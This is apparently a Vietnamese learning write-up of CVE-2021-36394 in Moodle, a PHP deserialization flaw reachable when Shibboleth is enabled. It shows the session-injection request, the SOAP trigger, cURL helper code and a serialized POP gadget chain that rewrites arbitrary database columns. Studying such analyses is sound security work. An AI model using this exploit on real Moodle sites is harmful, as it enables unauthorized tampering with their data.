CVE 2021-36394 - moodle
Long time no see!
Đợt này tôi có cơ hội làm việc, nghiên cứu về các CVE liên quan đến PHP. Một trong những lỗi tôi làm đầu tiên liên quan đến PHP-deserialize.
Đây là một mảng kiến thức mới mà tôi được tiếp cận. Phương pháp ở đây là tôi sẽ tìm hiểu các kiến thức liên quan đến PHP-deserialize, làm một vài ví dụ, tìm hiểu các hàm hay bị lỗi! Sau đó, ta bắt đầu vào CVE của mình.
Kiến thức cơ bản của PHP deserialize có thể dễ dàng tìm kiếm trên Payload All Things.
Sau đó, tôi tình cờ thấy blog viết về cách khai thác PHP deserialize về moodle! Lỗ hổng này đã có bài viết, POC, các tài liệu liên quan… Đây là một CVE lí tưởng để tôi bắt đầu học!
Bài này, tôi sẽ trình bày lại theo cách hiểu của tôi.
Ngữ cảnh
- Moodle bật
shibboleth plugin
- Version bị lỗi:
3.11, 3.10 to 3.10.4, 3.9 to 3.9.7 and earlier unsupported versions
Chi tiết lỗ hổng
Nhận diện lỗ hổng
- Đọc bài blog, ta biết được sink nằm ở đường dẫn
auth/shibboleth/classes/helper.php
, cụ thể ở hàmlogout_file_session
|
|
Question: Nếu ngữ cảnh 1day thì sao? làm sao biết được endpoint này?
Ans:
- Trên trang thông báo của Moodle có thông báo về lỗ hổng
Moodle.org: MSA-21-0022: Remote code execution risk when Shibboleth authentication is enabled
Từ trang này dẫn tới repo github của moodle khi commit để fix code
Sử dụng tính năng commit diff sẽ thấy hàm bị lỗi nằm ở
/[auth/shibboleth/classes/helper.php](https://git.moodle.org/gw?p=moodle.git;a=blob;f=auth/shibboleth/classes> /helper.php;h=0e99d199957509a35d259704d3ee08e313aed510;hb=5bc561ee7ad31b769815821280f8a3f5bd69c31b)
-
Hàm này sẽ thực hiện các bước sau
-
Lấy địa chỉ thư mục lưu các session, đường dẫn là
$CFG->dataroot/sessions/
1 2 3 4 5
if (!empty($CFG->session_file_save_path)) { $dir = $CFG->session_file_save_path; } else { $dir = $CFG->dataroot . '/sessions'; }
-
Đọc nội dung file trong thư mục trên và thực hiện hàm
self::unserializesession
trên từng nội dung
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
if (is_dir($dir)) { if ($dh = opendir($dir)) { // Read all session files. while (($file = readdir($dh)) !== false) { // Check if it is a file. if (is_file($dir.'/'.$file)) { // Read session file data. $data = file($dir.'/'.$file); if (isset($data[0])) { $usersession = self::unserializesession($data[0]); // Check if we have found session that shall be deleted. if (isset($usersession['SESSION']) && isset($usersession['SESSION']->shibboleth_session_id)) { // If there is a match, delete file. if ($usersession['SESSION']->shibboleth_session_id == $spsessionid) { // Delete session file. if (!unlink($dir.'/'.$file)) { return new SoapFault('LogoutError', 'Could not delete Moodle session file.'); } } } } } } closedir($dh); } }
-
Dòng 8: Chương trình sẽ đọc từng file, lưu giá trị vào biến
$data
. -
Dòng 10 chương trình thực hiện lệnh
self::unserializesession()
-
Hàm
unserializesession($serializedstring)
1 2 3 4 5 6 7 8 9
private static function unserializesession($serializedstring) { $variables = array(); $a = preg_split("/(\w+)\|/", $serializedstring, -1, PREG_SPLIT_NO_EMPTY | PREG_SPLIT_DELIM_CAPTURE); $counta = count($a); for ($i = 0; $i < $counta; $i = $i + 2) { $variables[$a[$i]] = unserialize($a[$i + 1]); } return $variables; }
-
Dòng 3, chuỗi
$serializedstring
sẽ bị split bởi pattern/(\w+)\|/
để tạo thành 1 mảng các phần tử con. -
Ví dụ:
1 2
$serializedstring = 'Hello|world'; ==> a = ['Hello', 'world']
-
Dòng 4—>7: Từng phần tử của mảng
$a
truyền vào hàmunserialize()
.
-
Kết luận:
- Mỗi lần người dùng truy cập vào moodle, session đều được lưu lại ở folder
$CFG->dataroot/sessions/
- Khi thực hiện hàm
logout_file_session()
, chương trình đọc lần lượt các file chứa session.- Mỗi session sẽ được split thành mảng các phần tử với delimiter là
|
- Từng phần tử sẽ là tham số truyền vào hàm
unserialize()
- Mỗi session sẽ được split thành mảng các phần tử với delimiter là
Nếu attacker có thể ghi được xuống session thì có thể control được tham số truyền vào
unserialize()
⇒ dấu hiệu của lỗi php deserialization -
php deserialization
- Để khai thác lỗ hổng php deserialization cần 2 bước chính
- Control được tham số truyền vào hàm
unserialize()
- Xác định kĩ thuật khai thác, với PHP deserialization kĩ thuật khai thác Property Oriented Programming (POP) thường được sử dụng để khai thác.
Khai thác lỗ hổng
I. control tham số truyền vào hàm unserialize()
Ở phần trước chúng ta đã biết hàm unserialize()
sẽ lấy tham số có giá trị từ sesion và session này được đọc lên từ file. Do đó, một hướng để control được input vào hàm unserialize()
là tìm cách ghi xuống sesion.
-
Để tìm cách ghi xuống session, trong source code, ta sẽ tìm đến nơi thỏa 2 điều kiện:
-
Biến
$SESSION
được gán giá trị. Thường sẽ có dạng1
$SESSION->field1= var1;
-
Giá trị được gán vào
$SESSION
được control bởi user, ở đây làvar1
. Trong PHP, biến được người dùng truyền vào sẽ được thưc thi bởi hàmoptional_param()
hoặcrequired_param()
.
-
-
Tôi dùng công cụ
grep
vàcomm
của ubuntu để giải quyết vấn đề này, cụ thể1 2 3
grep -HnrE '\$SESSION->' /var/www/html/moodle/ | awk -F ':' '{print $1}' | sort -u > file1.txt grep -HnrE 'optional_param\(|required_param\(' /var/www/html/moodle/ | awk -F ':' '{print $1}' | sort -u > file2.txt comm -12 file1.txt file2.txt > file3.txt
Ý nghĩa của từng câu lệnh thì chỉ là kiến thức cơ bản của linux, google 1 tí là ra 🙂.
Nôm na là tôi tìm các tệp có chứa chuỗi thuộc 2 pattern trên rồi lọc ra các tệp cùng nằm trong 2 file1, file2. Bước này khá rườm ra vì
grep
không hỗ trợ toán tửAND
2 pattern mà chỉOR
thôi. -
Sau khi có
file3.txt
thì manual vào từng file mà tìm xem có endpoint nào hay không thôi. (Đây là cách của tác giả, cũng là nơi mà chúng ta có thể cải thiện phương pháp hoặc nghiên cứu tìm phương pháp hiệu quả hơn) -
Tiến hành đọc, ta tìm được 1 endpoint ở
grade/report/grader/index.php
, cụ thể:1 2 3 4 5 6 7 8 9 10
$graderreportsifirst = optional_param('sifirst', null, PARAM_NOTAGS); $graderreportsilast = optional_param('silast', null, PARAM_NOTAGS); // The report object is recreated each time, save search information to SESSION object for future use. if (isset($graderreportsifirst)) { $SESSION->gradereport['filterfirstname'] = $graderreportsifirst; } if (isset($graderreportsilast)) { $SESSION->gradereport['filtersurname'] = $graderreportsilast; }
- Dòng 6, 9: Giá trị biến
$graderreportsifirst
và$graderreportsilast
được lưu vào session. - Dòng 1,2: Giá trị biến
$graderreportsifirst
và$graderreportsilast
được truyền bởi người dùng với 2 param lần lượtsifirst
vàsilast
. - ⇒ Chúng ta chỉ cần truyền 1 trong 2 param là đủ.
- Endpoint này unauthenticated
- Dòng 6, 9: Giá trị biến
-
Đọc thêm code, dễ dàng biết được format truyền vào
1 2 3 4 5 6 7 8 9 10 11 12 13
GET /moodle/grade/report/grader/index.php?id=1&sifirst=xxxx|EDISC-here-PAYLOAD|yyyyyyy HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/112.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Cookie: MoodleSession=4ganll3d78sv5gjlcqqhd1lue0 Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: none Sec-Fetch-User: ?1
-
Tiến hành chạy và debug, ta xác định được
- địa chỉ lưu session là
/var/www/moodledata/sessions
- Để dễ debug, ta vào thư mục trên, xóa hết các session đang có và thực hiện request để lưu session
- Đã viết session thành công, kiểm tra giá trị truyền vào hàm
unserialize()
- Tiến hành debug để kiểm tra xem giá trị có thực sự được đưa vào hàm
unserialize()
không. Bây giờ, câu chuyện là làm sao để tìm được source để reach tới được sinkunserialize()
- địa chỉ lưu session là
II. Từ source tới sink
Ở phần 1 ta đã ghi đè xuống session với giá trị bất kì. Đọc code ta biết được giá trị của mình truyền vào sẽ được truyền vào hàm unserialize()
Trong phần này ta sẽ tìm source để dẫn tới sink unserialize()
để chạy debug, kiểm tra giá trị truyền vào có đúng như dự đoán không và đây cũng là nơi trigger payload exploit.
-
Sử dụng tính năng
Go to references
trên vscode, ta dễ dàng tìm được endpoint tại hàmLogoutNotification()
tạiauth/shibboleth/logout.php
1 2 3 4 5 6 7 8 9 10 11 12
function LogoutNotification($spsessionid) { $sessionclass = \core\session\manager::get_handler_class(); switch ($sessionclass) { case '\core\session\file': return \auth_shibboleth\helper::logout_file_session($spsessionid); case '\core\session\database': return \auth_shibboleth\helper::logout_db_session($spsessionid); default: throw new moodle_exception("Shibboleth logout not implemented for '$sessionclass'"); } // If no SoapFault was thrown, the function will return OK as the SP assumes. }
-
Endpoint
auth/shibboleth/logout.php
có luồng thực thi như sau:-
Chương trình lấy 2 tham số
action
vàreturn
từ url và xác định protocol được sử dụng1 2 3 4 5 6 7 8
$action = optional_param('action', '', PARAM_ALPHA); $redirect = optional_param('return', '', PARAM_URL); // Find out whether host supports https $protocol = 'http://'; if (is_https()) { $protocol = 'https://'; }
-
Kiểm tra xem plugin
shibboleth
có được bật không. (Do đó, ở phần setup môi trường, chúng ta phải bật plugin này lên mới reproduce được)1 2 3 4
// If the shibboleth plugin is not enable, throw an exception. if (!is_enabled_auth('shibboleth')) { throw new moodle_exception(get_string('pluginnotenabled', 'auth', 'shibboleth')); }
-
Lấy giá trị truyền vào
$inputstream
và kiểm tra câu lệnh rẽ nhánh.1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
// Front channel logout. $inputstream = file_get_contents("php://input"); if ($action == 'logout' && !empty($redirect)) { if (isloggedin($USER) && $USER->auth == 'shibboleth') { // Logout user from application. require_logout(); } // Finally, send user to the return URL. redirect($redirect); } else if (!empty($inputstream)) { // Back channel logout. // Set SOAP header. $server = new SoapServer($protocol.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'].'/LogoutNotification.wsdl'); $server->addFunction("LogoutNotification"); $server->handle(); } else { // Return WSDL.
-
Vì mục tiêu của chúng ta nằm ở nhánh thứ 2 để gọi hàm
LogoutNotification
nên chúng ta truyền vàoaction=logout
và$redirect=null
(tức là không cần truyền vào). Mọi thứ so easy, nhưng với 1 newbiee PHP như tôi thìSoapServer
ở dòng 18 cũng như hàm nhập ở dòng 2 khá lạ lẫm. Do đó trước khi tiếp tục tôi phải đi tìm hiểu SoapServer là gì và truyền giá trị vào$inputstream
là gì mới hợp lệ.
1 2
// Front channel logout. $inputstream = file_get_contents("php://input");
- Nếu ngày xưa chúng ta có câu: “cái gì không biết thì tra google” thì ngày nay trước khi tra google chúng ta có thể đi hỏi anh bạn chatgpt rồi sau đó google để kiểm chứng hiểu rõ hơn
chapgpt
file_get_contents("php://input")
là một hàm trong PHP để đọc dữ liệu từ body của HTTP request. Khi bạn gửi một HTTP request từ một client (ví dụ như trình duyệt web) tới một server, nội dung của request được đưa vào body của request.Trong PHP,
"php://input"
là một stream wrapper, cho phép đọc dữ liệu từ body của request bằng cách đọc dữ liệu từ một input stream.Do đó, khi sử dụng
file_get_contents("php://input")
, bạn đang yêu cầu PHP đọc dữ liệu từ body của request và trả về dữ liệu dưới dạng một chuỗi (string). Bạn có thể sử dụng kết quả này để xử lý dữ liệu của request trong ứng dụng PHP của mình.- Dễ hiểu đây là cách để đọc giá trị thôi, vào để truyền bằng RESTAPI thì ta cần dùng POST method
- Còn với soap thì tôi đọc trên w3schools: https://www.w3schools.com/xml/xml_soap.asp
- Về cơ bản, XML SOAP (Simple Object Access Protocol) là một chuẩn giao thức được sử dụng để trao đổi dữ liệu giữa các ứng dụng phần mềm khác nhau. Nó sử dụng ngôn ngữ XML để mã hóa dữ liệu và các thông điệp truyền tải giữa các hệ thống khác nhau thông qua giao thức HTTP hoặc các giao thức khác.
- Đọc hiểu 1 tí, ta có thể xác định được payload truyền vào là
1 2 3 4 5 6
<?xml version="1.0" encoding="UTF-8"?> <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"><SOAP-ENV:Body> <LogoutNotification> <spsessionid>sssssu</spsessionid> </LogoutNotification> </SOAP-ENV:Body></SOAP-ENV:Envelope>
Trong đó,
<LogoutNotification>
là request chúng ta muốn gọi và<spsessionid>
là tham số của function này1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
/******************************************************************************/ /** * Handles SOAP Back-channel logout notification * * @param string $spsessionid SP-provided Shibboleth Session ID * @return SoapFault or void if everything was fine */ function LogoutNotification($spsessionid) { $sessionclass = \core\session\manager::get_handler_class(); switch ($sessionclass) { case '\core\session\file': return \auth_shibboleth\helper::logout_file_session($spsessionid); case '\core\session\database': return \auth_shibboleth\helper::logout_db_session($spsessionid); default: throw new moodle_exception("Shibboleth logout not implemented for '$sessionclass'"); } // If no SoapFault was thrown, the function will return OK as the SP assumes. }
-
-
-
Truyền payload và kiểm tra input của hàm
unserialize()
Như vậy, để control input vào hàm
unserialize()
chúng ta cần 2 payload- payload1: method GET, mục tiêu viết payload xuống session
- payload2: method POST, mục tiêu trigger payload qua hàm
unserialize()
Như vậy, trong phần này chúng ta đã thành công trong việc control input vào hàm unserialize()
, bước tiếp theo tiến hành xây dựng payload khai thác.
III. Khai thác bằng kỹ thuật POP
Mục tiêu của kỹ thuật này mình sẽ tạo một gadget chains
để exploit
gadget chains
là một dãy gồm các phương thức có khả năng gọi lẫn nhau. Các phương thức này có thể cùng hoặc khác lớp. Tùy thuộc vào mã nguồn mà các chuỗi phương thức có thể gây ra sự ảnh hưởng đối với ứng dụng ít hoặc nhiều.
Ta sẽ chia ra làm 2 phần: First Link
và Next Link
trong đó first link
là class ta truyền vào hàm unserialize()
với mục tiêu sẽ trigger các magic method như __destruct()
để gọi chuỗi class khác (Next Link
)
First Link
Khi ứng dụng mắc lỗi PHP deserialize, kẻ tấn công có thể thêm bất kì đối tượng nào vào thời gian thực thi thực của chương trình, qua đó làm thay đổi tính logic và các luồng thực thi trong ứng dụng thông qua các cách sau:
-
Chèn các đối tượng của các lớp có định nghĩa các phương thức tự động (magic method) chắc chắn sẽ được gọi sau khi chương trình kết thúc như
__destruct()
hay__wakeup()
khi đối tượng được tạo ra thông qua hàmunserialize()
. Khi đó, chương trình sẽ có thể gọi hàng loạt các hàm khác tùy thuộc vào các lệnh trong những phương thức này.Ngoài các magic method thông dụng như
__destruct()
__wakeup()
thì còn có một số magic method khác được sử dụng như:1 2 3 4
__toString() __call() __set() __get(
-
Chèn các đối tượng được mã nguồn thực thi một phương thức nào đó. Tương tự như trên, hàng loạt các phương thức khác sẽ được gọi và có thể dẫn tới thay đổi luồng hoạt động của chương trình.
-
Trong mã nguồn
logout_file_session
không có thao thác ngầm ép kiểu để gọi tới__toString()
-
Ta tìm
__destruct()
trong source code, tại các folder*/classes/*
-
question: Tại sao chỉ tìm trong các folder
*/classes/*
?Để kiểm chứng, ta sẽ thử truyền class có method
__destruct()
khác với các class nằm trong các folder*/classes/*
để xem thử có trigger không! Tôi đã làm và kết quả là không trigger 😄Bây giờ cũng làm tương tự bước trên, nhưng ta sẽ sửa mã nguồn 1 tí: tại nơi trigger hàm
unserialize()
ta thêm dòng lệnh1
include_once('/var/www/html/moodle/backup/cc/cc_lib/xmlbase.php')
Vâng! nó trigger được! Sau đó, tôi đi tìm hiểu kĩ thì có kết luận như sau:
- Mặc định 1 class chỉ có thể gọi những class nằm trong cùng thư mục hoặc cùng namespace.
- Mặc định của Moodle, mọi class đều có thể gọi được các class nằm ở folder có dạng
***/classes/***
- Chúng ta có thể gọi tới 1 class bất kì không nằm trong
***/classes/*
** khi class đó được import vào đoạn code (thông qua hàmrequire_once()
hoặcinclude_once()
-
Sau khi đọc code 3 hàm này thì link duy nhất
\core\lock\lock()
có khả năng ứng cử vì sử dụng ép kiểu string thông qua cộng chuỗi.
- Tới đây chỉ cần $this->caller trỏ tới Next Link, mình có thể gọi 1 class khác chứa chain __toString()
Next Link
- search
__toString()
trên toàn bộ source code.
Với 136 kết quả sẽ làm đa dạng hoá gadget chain.
Mục đích của cái search này theo mình là chỉ cho thấy là có nhiều gadget chain để exploit thôi chứ cũng có gì :)))
Tác giả dựa trên 1 gadget chain của 1 bài blog Moodle – Remote Code Execution để modify lại. Do đó, để hiểu được payload tôi cần phải tìm hiểu blog trên. Một số nhận xét sau khi đọc blog như sau:
-
Chain này sử dụng
__toString()
củaattribute_format
với hiện thực như sau:1 2 3
public function __toString() { return $this->determine_format()->html(); }
- Tôi tìm kiếm trên toàn bộ source code thì thấy hàm này nằm ở
moodle/grade/report/singleview/classes/local/ui/attribute_format.php
- Tôi tìm kiếm trên toàn bộ source code thì thấy hàm này nằm ở
-
__toString()
được gọi khi chương trình thực hiện 1 phép nối chuỗi với biến có giá trị không phải chuỗi. Chương trình sẽ gọi__toString()
để kiểm tra kiểu và convert sang chuỗi1 2 3 4 5 6
function block_course_overview_update_myorder($sortorder) { // $sortorder is our unserialized payload. $value = implode(',', $sortorder); ... set_user_preference('course_overview_course_sortorder', $value); }
-
Ngữ cảnh này giống với ngữ cảnh của chúng ta khi Firstlink
__destruct()
tại\core\lock\lock()
cũng thực hiện nối chuỗi vớithis→caller
(Giá trịthis->caller
được kiểm soát bởi chúng ta)
-
Follow của
_toString()
như sau:1 2 3 4 5 6 7
__toString() └── determine_format() └── is_disabled() ├── is_overridable_item() └── set_calculation() ├── get_record_data() └── update()
Mục tiêu sẽ truyền vào giá trị vào hàm
update()
để thay cập nhật giá trị dưới DB. -
Chain này mục đích là thay đổi dữ liệu ở dưới db. Trong bài này, mục tiêu ta sẽ sửa đổi tên nội dung khóa học ở 2 class
\grade_grade
và\grade_item
Tuy nhiên,__toString()
củaattribute_format
không gọi được vì 2 class\grade_grade
và\grade_item
nằm ngoài folder*/classes/*
. Do đó, để gọi được, chúng ta cần phải gọi class khác chưa hàm include class trên.1 2 3 4 5 6 7 8 9 10
/lib/grade/grade_grade.php ^ | /lib/gradelib.php ^ | /analytics/classes/course.php ^ | \core_analytics\course
-> Gọi class
\core_analytics\course
sẽ include file/lib/grade/grade_grade.php
, sau đó có thể gọi được class\grade_grade
Tương tự với
grade_item
1 2 3 4 5 6 7 8 9 10
/lib/grade/grade_item.php ^ | /lib/gradelib.php ^ | /analytics/classes/course.php ^ | \core_analytics\course
-> Gọi
class \core_analytics\course
sẽ include file/lib/grade/grade_item.php
, sau đó có thể gọi được class\grade_item
Viết exploit
- yeah, mọi thứ đã clear rồi. Bây giờ thì viết exploit
-
Inject payload
1 2 3 4 5 6 7 8 9 10
function httpGet($url, $MoodleSession) { $curl = curl_init($url); $headers = array('Cookie: MoodleSession='.$MoodleSession); curl_setopt($curl, CURLOPT_HTTPHEADER, $headers); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($curl); curl_close($curl); return $response; }
với lời gọi hàm như sau:
1
httpGet($url.'/grade/report/grader/index.php?id=1&sifirst=Testaaaaa|'.$value."Testbbbbbb|", $MoodleSession);
Trong đó,
$value
là payload đã đượcserialize
-
Trigger payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
function httpPost($url, $data, $MoodleSession, $xml) { $curl = curl_init($url); $headers = array('Cookie: MoodleSession='.$MoodleSession); if($xml){ array_push($headers, 'Content-Type: application/xml'); }else{ $data = urldecode(http_build_query($data)); } curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_HTTPHEADER, $headers); curl_setopt($curl, CURLOPT_POSTFIELDS, $data); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); // curl_setopt($curl, CURLOPT_PROXY, '127.0.0.1:8080'); //proxy $response = curl_exec($curl); curl_close($curl); return $response; }
Với lời gọi hàm như sau:
1 2 3 4 5
echo "\n [*] Trigger Payload "; $data = '<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body> <LogoutNotification><SessionID>ssss</SessionID> </LogoutNotification></s:Body></s:Envelope>'; httpPost($url.'/auth/shibboleth/logout.php', $data, $MoodleSession, 1);
Yeah, Inject payload và trigger payload khá đơn giản. Câu chuyện là
payload
chúng ta inject như thế nào -
Xây dựng payload
$value
-
Như đã trình bày ở trên, khi hàm
unserialize()
chạy payload của chúng ta, mục tiêu nó sẽ trigger FirsLink ở\core\lock\lock()
, Để làm được điều đó, ta xây dựng như sau:1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
namespace core\lock { class lock {} } function update_table($url, $MoodleSession, $table, $rowId, $column, $value){ $add_lib = new \core_analytics\course(); $lib_fb = new \core\lock\lock(); $base = new gradereport_overview_external(); $fb = new gradereport_singleview\local\ui\feedback(); $fb -> grade = new grade_grade(); $fb -> grade -> grade_item = new grade_item(); $fb -> grade -> grade_item -> calculation = "[[somestring"; $fb -> grade -> grade_item -> calculation_normalized = false; $fb -> grade -> grade_item -> table = $table; $fb -> grade -> grade_item -> id = $rowId; $fb -> grade -> grade_item -> $column = $value; $fb -> grade -> grade_item -> required_fields = array($column,'id'); $lib_fb -> caller = $fb; // set caller to gradereport_singleview\local\ui\feedback() $arr = array($add_lib, $lib_fb,$base); } $value = serialize($arr);
- Tạo ra 1
$lib_fb
là class\core\lock\lock()
- Tạo class
$fb
làgradereport_singleview\local\ui\feedback()
cùng các giá trị tương ứng rồi gán vào$lib_fb -> caller
để hàm_destruct()
thực thi sẽ đi vào__toString()
của feedback - Trong đoạn code trên,
$add_lib
được tạo để include thư viện, hỗ trợ gọi 2 class\grade_grade
và\grade_item
- Trong exploit còn có
$base
nhưng tôi thấy với mục tiêu exploit thay đổi course name thì không cần thiết, lib này sẽ phục vụ mục tiêu khác của tác giả cho những mục đích exploit khác
- Tạo ra 1
-